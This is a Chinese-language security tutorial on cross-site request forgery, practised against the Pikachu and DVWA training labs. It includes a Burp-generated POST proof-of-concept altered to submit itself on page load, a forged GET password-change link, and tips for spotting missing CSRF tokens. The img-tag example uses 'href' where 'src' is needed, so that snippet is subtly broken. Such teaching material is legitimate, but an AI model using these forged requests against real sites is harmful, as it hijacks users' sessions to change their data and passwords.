作者:凌度
仅供学习,切勿用于非法途径
1. 定义:
是基于回话实现的攻击攻击者需要在被攻击着与目标 Web 保持会话的时候,然后给它一个 url 链接,如果对方这时会话是保持着的,那么这个攻击就会实现
它是一种挟持用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法
2. csrf 利用:
1. 请求是伪造的:
攻击流程:当被攻击者登录某一网站的时候,在此期间,由于攻击者向你发送了一个构造好的
csrf 脚本或包含 csrf 脚本的链接,可能会执行一些用户不想做的功能(比如添加账号等)而这个操作并不是用户真正想要执行的
1. post 请求:
post 请求构造 payload 稍微有点难度,但是我们可以借助 burp 去生成 payload
拦截之后,即可在面板右键生成 CSRF 漏洞利用代码
注意:用户名为 kobe 是攻击者的用户名
生成 CSRF 攻击代码之后,然后把这个源码放在 html 里面,当被攻击者在那个页面的时候,然后你就可以双击这个 html 文件
burp 相当于是生成了一个当目标点击该链接就会自动提交 post 表单的 html 页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState('', '', '/')
</script>
<form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="123aa34" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
从而实现数据的修改,但是我们还需要注意的一个点就是,我们被攻击者使用的浏览器和我们点击 CSRF 的 html 文件的浏览器一定要一致,否则就无法造成数据的修改
当然我们这里是存在一个缺陷的,就是用户点击该链接之后需要手动去点 Submit request 才能实现 csrf 攻击,我们应该对该 html 进行修改,就是加载页面的时候,让它自动提交表单
1. 改进后的 html:
我们直接利用 js 去提交表单,然后提交后的表单进行跳转即可
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState('', '', '/')
</script>
<form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="123aa34" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
# 自动提交表单
<script>
document.forms[0].submit()
</script>
</body>
</html>
2. get 请求:
get 请求非常简单,只需要一个 url 请求即可
我这里以 dvwa 作为案例,用户名:admin 密码 password
我们来到 dvwa 靶场,我们更改密码 123123 ,然后用 burp 进行拦截,
http://dvwa//vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change
接下来只需要做的就是让对方点击该链接之后,即可实现 CSRF 的攻击,我们可以通过在一个 html 页面中去放一个 img 标签,然后在标签里面放入该链接即可
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<img href="http://dvwa//vulnerabilities/csrf/?password_new=123.com&password_conf=123.com&Change=Change" alt="">
</body>
</html>
只要用户点击该链接就会触发 csrf
3. CSRF 漏洞发现:
1. 关注数据包中关键字:
数据包中几个关键字段,是否根据 cookie 来判断请求包
检查:Referer,auto,csrftoken 字段
2. 快速判断 CSRF 漏洞是否存在:
当你找到这些关键字之后,在请求信息中你把它删了,然后发送看相应数据,如果请求还是能够正常执行,那么就说明存在 csrf 漏洞